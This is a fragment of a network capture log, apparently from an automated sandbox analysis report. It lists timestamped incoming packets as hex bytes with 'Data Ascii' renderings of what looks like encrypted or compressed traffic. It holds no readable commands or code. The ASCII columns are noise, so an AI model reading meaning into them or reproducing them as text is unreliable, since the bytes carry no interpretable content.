26 8b f0 9e 40 ae c9 01 41 e4 e7 43 69 54 d0 b4 b4 
Data Ascii: uBm@%t?&RiT6E+iLnaVqVhG=w|,3ZAN~qX)l,x:)e-fR(V+aKx>XElc%4qnv=,0Q*s"'K$a;)}FFFc&d6)&@ACiT

Timestamp
kBytes
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2021-10-04 18:06:38 UTC 66 IN Data Raw: ee 04 26 b7 26 7e 28 4b c0 54 8e f2 ba df e3 3d 76 1c e6 99 18 41 5c 87 77 df 94 9c 1c 78 3e 5d 8b 2e b2 7b 
13 14 84 e3 c7 81 51 ab 21 1c 8d da 44 19 78 ed 80 78 eb a1 5a cb 1b 74 3e 0d b0 96 72 2c 73 36 e4 5e 18 a7 f9 11 75 
ac c5 04 03 de d0 bc fa 45 63 b2 0e 73 cc 4c cb 64 45 b6 d5 52 d4 9f 38 00 5b f7 cc 18 97 11 77 f1 71 1b 31 a7 7e 35 2b 
17 47 8a bc 77 16 ee b6 5b e5 a2 39 0e ff 3f 3a 59 da cd 4c 56 a1 b1 8b 43 04 47 44 bb 98 8e 12 d0 7c 5c 02 22 2b 7c d3 
ae 03 22 92 f7 18 b2 55 f9 ab 8b 52 26 d8 78 52 0b 01 d7 88 4b 4d f8 82 de 87 cb b1 ec e1 18 80 26 f2 83 30 ad a1 a6 ea 
57 3d ff be ba 9a 85 c1 32 59 78 d1 50 8b df 18 ea e6 4c b8 06 4e c9 87 ef 7f 49 51 50 08 b9 bc 2f b0 1f 99 9a 53 45 ad a6 
94 97 b2 44 63 2e 68 45 ac 97 09 d7 30 e7 59 41 ab 11 47 
Data Ascii: &&~(KT=vA\wx>].{Q!DxxZt>r,s6^uEcsLdER8[wq1~5+Gw[9?:YLVCGD|\"+|"UR&xRKM&0W=2YxPLNIQP/SEDc
.hE0YAG

2021-10-04 18:06:38 UTC 67 IN Data Raw: 41 e8 4c 44 c7 e2 76 45 9b 50 f5 02 b9 86 c1 67 0b c8 1b d7 b4 47 62 db 67 0d e3 bb 3a 64 2b ae e7 53 c7 b0 
2b 65 a7 8f 6e 44 61 1d 88 76 f1 e7 bc c8 51 7a 32 1e 82 33 b3 5c a3 90 4a 86 05 99 e8 84 fd 84 1b 85 e2 83 fc e0 ee 62 
1e 10 7c 6e d9 a9 72 e2 eb a0 1d 83 fd 27 f5 8b 96 a2 36 42 4d c2 89 90 5c 0a df a9 58 af 5f 03 ee 8c f3 64 3b ff a5 8a 52 
65 ab 93 45 22 11 58 2e 94 02 55 ed 69 fb 29 1a 42 a8 4b 35 5e 9b 36 67 2b 53 17 d1 71 50 fe 94 b3 7d ac b3 c0 f5 e2 6d 
93 84 79 e3 cf 83 b9 d1 a4 e3 72 04 c4 31 83 20 e3 69 ab c1 f6 81 db 14 09 92 07 0b 80 e7 d3 a5 fb e4 1d 11 3c 56 42 10 
1a e3 0e 5d c5 7f 80 ef fb 62 1b 38 b8 20 6e b8 61 df 32 5b 65 4b 2e a8 e9 67 7e b5 8a e1 27 a6 54 30 7e ba 53 61 90 09 
67 75 5b b6 e8 24 03 8a 31 87 c4 e6 2f 43 3a 44 0b ad 
Data Ascii: ALDvEPgGbg:d+S+enDavQz23\Jb|nr'6BM\X_d;ReE"X.Ui)BK5^6g+SqP}myr1 i<VB]b8 na2[eK.g~'T0~Sag
u[$1/C:D

2021-10-04 18:06:38 UTC 68 IN Data Raw: 7f af e5 ec 3e f8 7b e7 ad aa 08 24 07 ab 67 c9 fe a7 a2 f8 28 1d 62 75 ef 8d 29 6f ed b3 ab 61 10 b8 62 14 3c 
e8 ad cf b4 a9 98 98 25 08 05 86 3b b7 82 6a 0d 3e e2 b3 e5 16 8d f2 44 3d b5 cc 3c d9 dd f6 c4 ff c4 e8 24 76 69 33 51 
28 96 c1 54 8e c9 65 f6 cd 35 5e 3e ec b1 2a 2e 74 8f a9 d9 83 a1 0b ae 6c 56 9a 20 a5 f6 14 14 84 e2 d4 a7 77 8c 37 0d 
ad 57 7b 19 6d ec 22 69 d7 b5 72 7a 00 44 32 12 f1 1a 4d 2c e3 37 f2 67 d9 c6 f8 1b 53 8e dd 65 e1 52 d7 b6 e9 42 72 b9 
79 51 da 57 cf ed 6b b0 c4 56 60 9f 1e 9a c4 28 3a 19 9d 04 03 7a 59 c1 26 70 e5 42 d9 16 46 8c 97 2d f8 14 5f 5d f3 3f 9f 
11 fa 46 f5 dd d8 c7 6a 4f dd 61 c4 47 0e 52 2f b3 9d 84 c6 ec 48 65 3a 0a 7b 72 c0 af 78 31 bb cf 12 8b 9b 27 ab 8d 69 30 
c7 71 85 08 19 c6 9c 5d 7e a9 dd 86 9f 0c b8 f4 
Data Ascii: >{$g(bu)oab<%;j>D=<$vi3Q(Te5^>*.tlV w7W{m"irzD2M,7gSeRBryQWkV`(:zY&pBF-_]?FjOaGR/He:{rx1'i0q]~

2021-10-04 18:06:38 UTC 70 IN Data Raw: 94 35 1c 12 27 42 a0 99 57 b6 8d 92 6f 6f 4a d1 0f be f8 36 8a 3f 10 80 c9 a0 e0 8f f3 32 49 38 24 4b 23 42 8c 
c8 a5 20 f5 3b 39 14 ce c8 50 ef 99 55 63 84 e1 73 d5 39 c1 3f 1a 0e 31 ed 6a eb 9d 35 a8 47 9b d4 83 5e 1a 5b 21 59 f5 
53 d6 49 43 fe 3b 31 93 d0 50 9a 25 1f 59 09 3f 45 cd b1 8a d4 93 bc 61 38 ae d9 c6 c6 3e 9a 55 fa 98 7c 51 1c ca db 67 
fe 99 4f 5d 40 74 2b 38 9e ed a5 75 93 08 48 97 0d a0 7a 96 f3 16 48 86 e3 83 f6 59 02 67 0f 14 fe bc 28 7c 63 f3 e7 a6 c9 
81 ea 25 ff 27 a0 a7 27 4c a7 e7 16 96 47 04 df a3 a3 87 b7 02 e4 fd da b2 3a f5 c0 12 77 65 a1 8a 48 22 18 62 da f9 30 
44 e3 72 e1 09 b6 f3 a7 6c 1d 63 e0 37 6f 38 56 50 59 70 50 fe 59 b4 6a 81 9e 84 d1 00 6d 93 84 6f 6e e2 83 b9 d0 a7 e4 
63 03 da 22 87 4f ec 6b ab cb 97 83 d9 15 18 cd b6 
Data Ascii: 5'BWooJ6?2I8$K#B ;9PUcs9?1j5G^[!YSIC;1P%Y?Ea8>U|QgO]@t+8uHzHYg(|c%''LG:weH"b0Drlc7o8VPYp
PYjmonc"Ok

2021-10-04 18:06:38 UTC 71 IN Data Raw: 06 3f d4 39 db 7b 26 d5 de 42 59 3c e8 92 0d e2 c4 df b1 a6 bb b4 d0 91 eb 84 45 c0 10 05 fa 72 21 58 eb 10 
30 c5 f6 10 42 e9 f4 4d 2a cf bf c8 b2 1c 94 6b d4 8c 6b 4e 1a 99 d1 ac 8f e0 fb 18 b0 80 7d 25 50 a5 5e e2 10 fb d5 20 e4 
85 ec 90 a7 07 32 18 a2 5a 7d f6 b5 aa f2 28 1c 6c 72 7e ab 04 63 f9 2f 89 70 15 d6 59 11 23 ec af ce db 93 91 87 26 fd 
03 a9 27 a5 0b c1 7d 4a 7f ac e5 16 82 da 44 34 aa c8 d3 df 9e e9 d3 ec c8 fb 23 6f bf 26 65 08 bb 3f 55 a8 d3 7f d9 f4 28 
0c a4 fd 8a 1a 2e 65 8d 6e 27 84 a7 02 bf 2a 5c 85 37 39 ec 07 1c 84 f3 dc b8 50 73 36 21 90 47 7d 0e ae ff 24 76 dc a6 
7a 7b 0a 7c 2b 05 6e 1b 61 3f 75 35 e4 74 24 10 e8 1e 4f ec d0 08 14 59 f1 a3 e2 57 78 91 0e 58 c5 57 22 e9 56 bf c4 54 
6b 93 87 0b 78 54 c4 18 8c 06 16 83 4f 37 3b b7 6f 
Data Ascii: ?9{&BY<Er!X0BM*kkN}%P^ 2Z}(lr~c/pY#&'}JD4#o&e?U(.en'*\79Ps6!G}$vz{|+na?u5t$OYWxXW"VTkxTO7;o

2021-10-04 18:06:38 UTC 72 IN Data Raw: ca 06 a5 2d 6d ce 87 1d d2 84 0b f2 89 fe 2d 06 ec d1 03 30 41 9c 72 47 03 61 25 cf cd 5a 79 88 2a d7 04 fc c7 
cf 76 9d 9c 5b b0 aa 86 95 30 95 f2 73 6e 4b cc b2 9d 53 a4 bd 0f 95 f8 94 90 c5 94 a5 63 db c4 49 e7 15 31 1d 00 1b c1 
8b 3a 51 c5 7b bb f3 65 25 26 1f ba da 30 a3 40 12 93 c6 99 6a 9f db ac 65 af 21 5d a8 36 70 c9 a4 3e 8e d2 10 b7 c4 c0 
72 78 b5 8f 66 ac 63 61 58 38 e9 a8 18 1a 23 8a be 49 9d 3f cd 92 06 d4 89 5c 21 d3 34 51 e7 53 ca 49 43 fe 05 39 90 d0 
56 e8 cd 0a 4d 2b f3 b8 cc bb 94 f4 6d 39 65 3e be 7c 45 c2 3e 9d 69 69 88 54 f4 6f 36 d0 4f 68 f6 b2 56 68 e7 27 10 10 c1 
aa 72 bb 87 5f 9d 1a 83 c5 1a f2 10 31 57 dd 92 f6 1e 70 67 0f 14 c5 82 34 a0 60 f3 eb a2 1f 83 f4 1e 6c 1b 87 a0 48 66 db 
18 11 87 41 1d c5 c8 e8 85 b5 04 ff 8a ca ba 55 
Data Ascii: -m-0ArGa%Zy*v[0snKScI1:Q{e%&0@je!]6p>rxfcaX8#I?\!4QSIC9VM+m9e>|E>iiTo6OhVh'r_1Wpg4`lHfAU

2021-10-04 18:06:38 UTC 73 IN Data Raw: 78 4d 6d 03 b4 e5 6b 7c f2 c1 db 88 c8 74 87 82 cd 6c 86 5d c3 1d 68 f6 ac d2 4d 82 2a af d8 ae 45 1a 52 2b 
61 12 ae 4a d6 48 da 83 6a 59 39 ca 50 07 a8 7a 94 6f 14 19 03 8f fb d4 f8 d7 8d 5c a6 53 6b 6a 4c 56 9b 2e ee df c7 da 
cb 30 ca c3 50 31 ac ea 94 16 ec 8f 5c b2 56 a6 87 9b 1c fe 87 47 cc 44 91 eb 6d 37 64 ec 11 1c cd 7b 06 55 ea 61 70 d0 
c7 bf d9 26 12 96 8a df bf 77 d0 85 20 d9 7d b8 b4 76 33 b0 1c 6d 38 4a b6 73 05 18 fb c4 b4 e8 75 f2 b1 b1 7d a9 13 b3 
66 ef f7 ea 3e e3 37 0b 7c 5f 6b aa 28 6f 7b b3 ac 63 10 d0 39 98 3d e2 ba d5 df 5c 8d bd 07 34 02 85 27 a7 0a db 6e 3a 
db b3 ef 0f 57 1d 55 3c b5 d7 29 f6 e6 ea c5 f9 a1 63 2d 7c b1 30 8a 01 b0 c5 3b 0c db 6e d8 f5 c9 5c 2e 18 98 72 02 76 
83 5d cf 94 8f 64 26 2c 4a 9c 37 7f e5 1b 07 8d da 5c a7 
Data Ascii: xMmk|tl]hM*ER+aJHjY9Pzo\SkjLV.0P1\VGDm7d{Uap&w }v3m8Jsu}f>7|_k(o{c9=\4'n:WU<)c-|0;n\.rv]d&,J7\

2021-10-04 18:06:38 UTC 75 IN Data Raw: ba ab 9e 9f 45 5a 4e 7a d0 49 84 c2 12 5e f3 54 32 11 56 cb 86 47 69 41 4c 50 1b bd bc 23 f7 5c 9b 9a 53 7e 
4b b1 87 96 a2 0c 63 2e 62 7c 84 86 02 47 4c c7 4a 45 c2 1a 5d 91 65 f2 57 cf b8 24 9a 09 36 c8 e6 cf b2 dc 03 17 20 68 
df 87 63 58 ad 2c f8 a1 50 01 29 ea f9 b7 09 bd 96 61 42 03 63 25 f9 cd 5a 58 a2 65 c7 0c c5 58 18 77 9d 87 40 a3 93 19 
85 18 ef e6 fe 6f 5c 41 b4 89 47 b1 86 a3 84 f7 88 95 e8 ec b7 6c ce c2 d5 f0 01 25 0b 99 20 d5 a3 98 42 d4 60 82 79 72 
b9 3d 1f a9 da 99 a2 40 1e a6 de 99 74 1b df 2b 70 bf 31 d1 0d 20 70 c9 af fa 8f c6 38 15 ec d4 78 6c 97 7d 51 ad 65 7d 
a1 2a e9 a8 18 1d 32 8f 91 fe b5 9a c3 ba 9c c3 04 51 32 d8 24 4a e3 6a 42 5b 6b 5e 17 b4 91 72 47 f9 cd 0a 4d 2b f3 b8 
cc bb 94 f4 1c 3e 65 3e be 7c 45 c2 3e 9d 69 69 88 54 f4 
Data Ascii: EZNzI^T2VGiALP#\S~Kc.b|GLJE]eW$6 hcX,P)aBc%ZXeXw@o\AGl% B`yr=@t+p1 p8xl}Qe}*2Q2$JjB[k^rG
M+>e>|E>iiT

2021-10-04 18:06:38 UTC 76 IN Data Raw: ff 06 58 d8 83 09 d4 ff 66 98 4e b8 20 c7 ae fb c4 fa 44 75 e1 2c a8 e3 4f 59 a8 80 19 2c a2 79 34 56 87 88 61 
90 35 4e 4b 5b b6 e2 32 43 cf 2b 9f c4 eb 3e 4e 3a 4c 07 94 f7 42 88 2c bd fa 88 22 8e bc 95 3c 37 45 08 4b 70 48 22 f0 
0a 7d ec e1 02 84 d7 7e 16 93 ca 6d 65 43 b5 93 7e d0 85 c9 56 18 2d 89 e9 b1 5a 43 d8 09 db 00 b8 57 5b 6a c5 8f 95 
4b 1b d3 66 2f 8a e2 94 70 19 88 12 88 f3 d2 09 4a b0 40 ba 64 38 f3 5d 5e 94 26 0e df c7 d0 41 12 a6 c6 55 4b 30 f2 85 
19 0d cd ec ad 88 a1 98 d7 82 c7 9d 5a d3 09 01 e5 76 24 44 1c 0e 06 33 e6 3b 55 25 77 50 39 c5 97 cd ba 03 92 99 ca 
bb 74 4c 9d 31 d6 88 99 1a 63 37 98 b9 79 36 53 ac 7b df 18 fb ce 3e b9 b4 ed bc ae 09 24 0f bd 70 fc 16 a7 8e f5 01 26 
8c 80 7f b4 25 6f ee bd be 8e 14 fb 5f 11 14 de b9 c6 dd 94 
Data Ascii: XfN Du,OY,y4Va5NK[2C+>N:LB,"<7EKpH"}~meC~V-ZCW[jKf/pJ@d8]^&AUK0Zv$D3;U%wP9tL1c
7y6S{>$p&%o_

Timestamp
kBytes
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2021-10-04 18:06:38 UTC 77 IN Data Raw: 08 fa 22 29 c7 d8 ca 5b b9 af b5 c7 5f 0f 41 2c b4 67 8f 34 ff 7a 46 0d 0d 63 86 d2 84 6e 10 91 dc f1 89 ea 93 
ab 8b 47 1a e5 73 87 65 73 c6 9c 59 54 a9 93 c8 8c 2d a0 f4 e2 51 91 36 e7 a4 21 9b a6 8a ae 6f 3f f8 af 55 95 be 4e 2d 
52 78 d7 55 57 cf 16 fe e0 5f 34 3e 56 37 87 61 6c 40 47 53 5b bb c7 4e 98 45 9d b0 7b 6f 44 da ff 9d 9a 94 48 2e 62 6d 
9b a7 0b dd 77 c3 5b 41 08 00 5f 80 79 ea 72 c2 ab 2e b5 84 36 e4 e4 c6 b7 cd 09 9b cd 6f e2 83 1b df ac 2b ea 77 f5 29 
2b c7 d3 22 ea bf e7 1e 47 12 62 27 ea cf 59 2f f7 22 c6 08 ef 2b cf 76 8e bd 51 a4 aa 1e 91 30 02 e4 fe 78 5d c7 98 92 47 
b7 82 52 94 d4 9c 9c e6 4e a1 75 23 d3 e8 e2 02 3a 1c 13 17 2b a2 b5 53 ee 73 b8 8c 67 5e 41 0e be f6 14 94 42 17 a8 
de 88 62 81 8e 59 61 af 23 61 25 31 63 f9 a7 2a b2 c6 
Data Ascii: ")[_A,g4zFcnGsesYT-Q6!o?UN-RxUW_4>V7al@GS[NE{oDH.bmw[A_yr.6o+w)+"Gb'Y/"+vQ0x]GRNu#:+Ssg^
ABbYa#a%1c*

2021-10-04 18:06:38 UTC 79 IN Data Raw: 42 8c 50 eb 18 b8 f3 f4 6f 1d 6f 99 59 2f 39 5c 39 ea 59 10 f1 4a b5 14 ae b1 81 e3 8d 38 92 84 7f e1 a6 c1 b8 
d1 b2 e2 5a 45 d7 33 85 4f c4 6b ab cb 83 d6 da 15 14 88 1a 18 9c e5 d3 8d e1 e4 1d 08 3e 55 7b 72 11 c8 1f 58 d5 be e4 
e5 d0 64 2b 47 b8 27 72 50 fa f9 ee 5e 46 7c 29 b0 1d 4e 7c b5 a1 e5 06 6d 6e 4b 05 b0 8d 65 bc 01 64 66 26 cd e8 24 07 
a0 29 9f c4 e7 05 41 3a 6d 18 9d 09 4b a4 35 7c b0 83 09 94 94 86 2b c9 4e 4b 54 6a 43 28 f3 73 9d ef cd 0a 9f c3 74 1c 
8b 3d 72 b7 40 b2 83 52 1b b1 b7 2a 1e 3b a5 ed 93 58 4a b3 46 6f 1f b5 70 5b 63 da 90 5b 48 37 f3 5e 11 88 ea 94 6f 05 
93 19 aa f7 cb f0 5c 62 53 92 4e 1b fd 5d 5f 94 f0 21 f3 c5 cd 5c 21 c3 c1 b1 47 1c f9 b1 0f d8 2f c2 d8 25 ba 98 d3 aa cd 
8b 59 ae 7e 0d fa 67 03 44 15 11 0f fd e5 17 73 f5 
Data Ascii: BPooY/9\9YJ8ZE3Ok>U{rXd+G'rP^F|)N|mnKedf&$)A:mK5|+NKTjC(st=r@R*;XJFop[c[H7^o\bSN]_!\!G/%Y~gDs

2021-10-04 18:06:38 UTC 80 IN Data Raw: 72 e7 1d 6b 2f 0d df 86 4b 33 6f 28 fd ea ac b8 e4 04 18 1f d2 15 0a 4c c2 20 fc 5b 6f b1 f2 50 da 5d 40 ee 65 
96 ca 28 ea 88 04 35 6c 53 50 1e 82 2c 28 f1 4e 1b 31 3a 6e 02 fa 36 a2 80 86 2b 75 17 56 68 e9 fa b4 1f f3 0c 1d 9a 44 
cb 53 61 b1 94 59 41 1b 66 0b 63 99 8e 18 61 6b 52 25 2a f5 78 d3 a8 f0 3d 8c de 32 75 91 f9 ab 17 45 2f ed 51 52 18 19 
c6 00 5b 61 82 b3 2f 9f 1d a2 68 cc 4e bd 29 c6 38 27 95 9d 9e f0 e8 39 e0 96 b7 08 94 53 1a 79 f3 d0 43 a9 52 3c e3 c7 
4b 7d a5 48 d6 b7 5b f2 6d 5a 4a 98 65 bc 25 98 d9 9f 85 6a 72 48 3b 92 82 ae 8f 52 b2 64 72 bd b7 a9 dd 5f c3 c7 47 b2 
36 7f 0f 6f e1 59 45 ad 36 95 5a ca c8 e6 de 20 cb 11 b5 2c 67 52 87 13 ed 8c a9 f2 89 f4 99 2f f3 eb 29 f8 bd 9c 72 db 14 
79 36 e8 05 5a 52 9b be c0 13 f9 0b 65 76 9d 8d cf 
Data Ascii: rk/K3o(L [oP]@e(5lSP,(N1:n6+uVhDSaYAfcakR%*x=2uE/QR[a/hN)8'9SyCR<K}H[mZJe%jrH;Rdr_G6oYE6Z 
,gR/)ry6ZRev

2021-10-04 18:06:38 UTC 81 IN Data Raw: aa 60 b0 81 5d 9c 14 81 13 94 df 1a 2c 7d f1 89 ef 3e e0 6c 1c 15 e8 a5 4c 95 9c f2 c1 b2 0b 81 f3 36 ea 14 9a 
58 26 60 df 1e 04 9f 53 1f c5 a7 dd 8c a3 fc ef aa d8 a7 29 f4 af b3 7d 7a b9 67 4e 1f 1d 64 fd bf 2b ba 1c 87 e0 32 b2 8f 97
6b 1d 20 9b 36 6d 93 5c 3f f8 67 5c df 7b b3 73 91 4d 80 c5 e0 75 9f 84 71 fb 37 82 95 de b6 9f d4 04 d2 37 95 08 7e 68 
ab cb e7 98 d7 15 1a b4 fa 0a 80 e5 c4 a9 e1 ec 04 fe 3f 79 68 4f 18 c8 c9 70 45 a9 1a ee fb 7c 34 c2 0f 3a be c1 e9 d4 ec 
43 67 7c 2e a8 f0 7f 55 b7 7f e7 2d 8e c0 30 7e a1 9b 6c bd 60 66 6c 41 48 e9 08 07 9c 03 84 c9 f4 3c 5b c4 44 34 98 0d 
57 f5 2c 60 a6 81 35 71 95 ad 3e 2f 42 67 5f 6b b6 29 d8 6f 61 c6 d0 08 88 c2 59 0d 89 ce 73 92 54 67 80 55 fa a4 c1 56 
17 20 5f c6 9d 58 62 cc 11 d4 6c 98 58 5b 69 
Data Ascii: `],}>lL6X&`S)}zgNd+2k 6m\?g\{sMuq77~h?yhOpE|4:Cg|.U-0~l`flAH<[D4W,`5q>/Bg_k)oaYsTgUV _XblX[i

2021-10-04 18:06:38 UTC 82 IN Data Raw: 53 ae 94 36 bf 30 93 ee e8 5a 49 e7 bc 8d 39 23 95 ac 9f ee b6 aa ed 4e ac 75 ee d9 ec ce 17 31 1a 1e d2 7a 
a1 99 51 c6 62 94 1c d9 25 2c 04 b5 e3 39 b1 51 02 93 df 99 73 e4 3a 34 61 a5 34 59 0e 2f 61 d8 b4 3a f5 27 39 14 ce d3 
73 6b 8f 5e 4d 9a 67 77 df 50 25 a8 19 04 26 8e 81 3c 8e 2f d6 aa 8b c6 bb 8a 41 64 25 59 f9 76 44 4a 2c cf 11 b4 9d c7 
8c fa ca 0d 55 3b bf b8 cc b1 87 cd b7 55 51 3a a8 fb 6a 7f 3a 9c 7b 6b b4 52 57 6f 3c cc 54 ff ff 9a e2 44 7e 25 7f da e9 
a5 79 bc 90 40 f8 3f 8a ed 9f db af 3f 7a e4 95 d4 18 ff 66 05 08 db bf 4e aa a2 f7 ed b7 7c 5e f8 36 f1 18 96 aa 48 78 db 
18 1d be 8c 08 ce a1 da af 9b 02 ee 8c cd 83 31 f6 87 60 72 65 ad f6 83 33 1f 45 ff 96 00 2b d7 7a e9 12 9a 5f a3 6e 1b 7f 
b3 18 6d 38 56 29 da 7a 59 dc 8e b7 7b 80 dc 4d 
Data Ascii: S60ZI9#Nu1zQb%,9Qs:4a4Y/a:'9sk^MgwP%&</Ad%YvDJ,U;UQ:j:{kRWo<TD~%y@??zfN|^6Hx1`re3E+z_nm8
V)zY{M

2021-10-04 18:06:38 UTC 83 IN Data Raw: 62 f6 8e 68 48 4c 1d 5e 11 8c 6c 23 5e bd 9c 1f 81 e5 d2 09 4a b0 56 a8 66 19 fb 5d 51 94 f0 21 f3 c5 cd 5a 21 
cd c5 b1 47 1c f9 b1 08 cb b2 3f 5c a7 bd 8f 01 8b e8 81 6b 5b 00 13 2c 49 29 44 15 02 2c cb e7 a7 5a f5 68 e3 39 c7 ae cf
a9 0a a0 77 d5 a0 79 4c 85 27 d8 88 99 1a 46 22 b4 97 f0 09 55 ba 52 e7 30 0a c5 28 f3 42 21 bc ae 16 24 07 ab 7b 9a 2e 
a6 a2 f6 3a 85 6c 00 df 1e b4 7e e2 b4 8a 4c 14 d7 40 3f 23 eb af cf db 93 90 8f d1 02 2e 86 35 a7 05 dd 73 1b fe 4d ee 29 
8c cc 3f 16 ab d5 24 de a3 e7 d9 01 cf c8 00 6d b3 30 f8 3f a1 c1 55 92 f2 55 dc e3 3d 4f 3c f9 90 9e 11 74 85 76 cf ad b7 
09 ae 27 62 a7 22 a5 fc 3c a3 84 e2 de 8b c6 90 24 04 9a 47 72 02 86 ed 0e 6c db bf 6e 68 12 74 25 1b 88 e4 4c 00 79 33 
e5 a0 54 ac fb 1b 40 90 dd 0a 05 5a ce 42 fb 
Data Ascii: bhHL^l#^JVf]Q!Z!G?\k[,I)D,Zh9wyL'F"UR0(B!${.:l~L@?#.5sM)?$m0?UU=O<tv'b"<$Grlnht%Ly3T@ZB

2021-10-04 18:06:38 UTC 84 IN Data Raw: ad 71 21 62 7c 87 88 4b 23 5e ef 68 43 ae 73 61 93 6f eb 40 b3 d8 6d a0 7a 3d e0 a3 dc bc c7 26 cb 31 6e c4 
99 63 50 ad 2c f4 fa ca 07 29 e6 af 36 0b bd 96 5a 07 10 66 07 db c6 45 11 88 2d c6 1d ca 34 f0 88 9c a1 5e b5 86 0f 9c 
0e 41 e7 fe 69 54 8c a0 86 47 a1 9a b3 d1 06 9f a8 e4 76 46 63 dd d2 db a5 06 3e 1c 05 00 ca 84 67 50 e9 78 ab 8a 64 25 
2c 11 96 e1 31 a2 51 1b 9f f5 76 63 a7 84 36 1a 66 27 4b 21 39 61 cd 73 a5 b1 c6 38 16 ec d1 79 6c 97 57 1e 6a 65 77 d1 
39 9a 96 1b 0e 3d 8f 93 99 d9 3d c7 b0 b2 91 8b 56 38 d1 33 cf 80 3f 50 4d 49 d0 56 b6 97 da 5f fe 4f 6d 1d 01 50 b2 e4 f4 
82 dc b1 33 7d ae db b5 40 c2 34 b4 38 7f 9c 76 5e 76 a0 a9 23 f6 f6 b8 74 05 7c 23 1a 3e af a7 73 b1 88 56 01 bc e7 ff 
94 f3 1a 46 ac e2 83 f8 29 c4 75 00 1e f9 bb 58 99 9c 
Data Ascii: q!b|K#^hCsao@mz=&1ncP,)6ZfE-4^AiTGvFc>gPxd%,1Qvc6f'K!9as8ylWjew9==V83?PMIV_OmP3}@48v^v#t
|#>sVF)uX

2021-10-04 18:06:38 UTC 86 IN Data Raw: 77 ba ea 5f ca 8a 29 9b 4a 43 39 5e 29 4a 18 8c 06 5c e5 cb 6c 8a 9b 20 f4 52 81 3c 33 4c e3 c7 69 08 e6 f0 
65 63 f1 a3 1b 87 c8 65 14 8c e6 8d 9a 6e 85 83 02 30 b3 cc 52 6d 05 a3 c7 bb 24 76 cc 3a 65 37 f6 58 5b 69 cc b0 32 55 
11 c8 51 11 99 ed 8b 46 ea 84 3e c2 ee b0 3e 4b 9c 56 b6 5d 07 20 d2 73 82 0e 22 f7 d6 db 57 2b c6 a2 89 46 30 ff 9c 7e 
cd ce c0 a9 49 bf eb 93 82 ef 83 72 96 01 0d f0 4b 6f 46 15 1b 15 db 71 a0 34 e7 69 50 33 ba 6d d9 ba 07 87 bf c6 af 79 
5d 9b 31 ee 88 99 1a 57 31 cb 48 7c 36 51 c9 6d f3 18 f1 dc 42 8a 3f ef bc a4 3e 72 00 bd 73 f7 a8 9e 5e 0d c6 0b 5a 6c 8f 
aa 39 60 fe 5c a3 5c 23 d5 49 66 02 e0 bc cc c2 e8 ea dc 2d 03 08 ad 68 b6 0c d7 4a 54 e1 b3 e5 1d e5 5e 54 3c b3 b5 
13 dc b2 e4 bb c0 cc e4 26 54 f7 24 74 0a 89 8b 56 84 d0 
Data Ascii: w_)JC9^)J\l R<3Liecen0Rm$v:e7X[i2UQF>>KV] s"W+F0~IrKoFq4iP3my]1W1H|6QmB?>rs^Zl9`\\#If-hJ
T^T<&T$tV

2021-10-04 18:06:38 UTC 87 IN Data Raw: de 1b f7 5c 1b c6 96 75 3b ab 93 c2 b7 5b a0 f4 c0 49 fe b2 e0 a4 27 f9 8e 83 85 7e 41 c0 ba ab 9e ba 0c 37 59 
72 5c a3 a9 ce 3b f0 e1 59 36 42 85 c9 86 49 42 2e 47 03 73 b9 bc 21 16 f2 94 98 5b 16 8c a7 94 99 ee 11 62 2e 63 6f f3 
5c 09 dd 5b 4d ec cd 92 00 5f 90 67 c9 6a d8 ab 23 8a 20 37 c8 ec c9 6a 40 24 8d 33 6c e6 c9 0e d4 a6 58 d1 89 f4 1e 54 
27 d1 09 0d 96 8f 70 4f 3a 3c 0d c8 c7 4d 84 16 08 c6 0c c7 56 04 76 9d 89 45 ac aa 44 91 30 99 f7 ef 7a 4d f4 22 8c 47 
b0 97 af e6 c6 9c 84 e7 50 cc 10 99 d0 c4 ea 3d 74 1e 14 05 c4 a5 81 89 b6 30 91 6f 6f 0d 69 0c be f8 16 e4 42 14 8a d7 
e7 e6 8a f3 32 6a ac 54 75 27 31 7a d6 c1 40 e9 82 3a 14 ce e8 3f 6e 9d 5f 73 82 61 70 d6 e8 e2 aa 1e 8a 58 1f 97 ea 9b 
b3 f8 ba 9a d5 9a 5a 30 df a1 48 ff 53 08 4d 43 f2 7c 
Data Ascii: \u;[I'~A7Yr\;Y6BIB.Gs![b.co\[M_gj# 7j@$3lXT'pO:<MVvED0zM"GP=t0ooiB2jTu'1z@:?n_sapXZ0HSMC|

Timestamp
kBytes
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2021-10-04 18:06:38 UTC 88 IN Data Raw: 00 d5 40 bd 22 ec 63 ba c9 9f c5 d9 15 18 8a 41 09 ac ed c2 a1 92 a5 1f 00 34 7d 2f 66 1a e9 2c 1e d0 a9 10 f5 
f9 77 3e c3 91 20 64 ac 80 18 ec 49 49 cb 41 ba e2 4f 5a 15 b2 48 2d 8e 6c 32 05 7b 8d 61 92 2a 77 63 8d 39 c2 24 03 88 
52 4f c4 f4 31 52 37 6d 5f 9c 09 49 a6 4e ab a6 88 26 88 e7 bf 3e 37 45 76 5e 01 0c 2a f4 6f 4b ab e3 08 82 d9 70 68 d2 c1 
73 91 6a dc 83 79 f2 9b 8a 54 1e 31 b0 c2 a0 57 c6 e7 3a 6f 1d ca 97 5b 63 de 34 04 58 36 db 54 b3 a3 b6 96 14 df 85 12 
85 e5 da f1 9d 13 78 be 4c 01 8d 8d 58 82 0a 31 d2 c5 dd 24 1f c6 d9 45 57 38 88 de 0f f3 c6 e8 e6 5a ba 92 c6 84 9c c8 
58 d3 09 25 bf 61 29 4e 3d 57 1e cd ed 06 5e e4 65 df 10 c7 bf db c1 ce 98 95 d1 17 16 c8 95 2e c0 5e d4 34 76 39 12 91 
78 5c 44 bf 42 fc 97 d2 c4 28 fb 00 20 bc ae 12 e3 
Data Ascii: @"cA4}/f,w> dIIAOZH-l2{a*wc9$RO1R7m_IN&>7Ev^*oKphsjyT1W:o[c4X6TxLX1$EW8ZX%a)N=W^e.^4v9x\
DB( 

2021-10-04 18:06:38 UTC 89 IN Data Raw: 84 37 16 58 02 ce 1a e6 c2 08 7d 4a 6f b0 a6 68 1c c8 12 50 56 0b 3e e9 11 48 64 be b3 28 13 98 08 02 dc c3 
b0 80 47 ae 9d c7 3c c8 41 2b a6 88 8a 1e ec 69 d7 25 96 7b 78 d9 0a 7d 3f 84 21 01 8f 80 fd ba 83 7d 7d 39 8e 7b 1a 1b 
bd 55 5d 7e ad 94 47 b4 1d a2 f6 b1 84 91 36 e5 b3 4b 50 b2 fa 42 74 3f fb d6 73 2e fd ca 34 59 7e fa 43 a9 ce 29 cc f5 54 
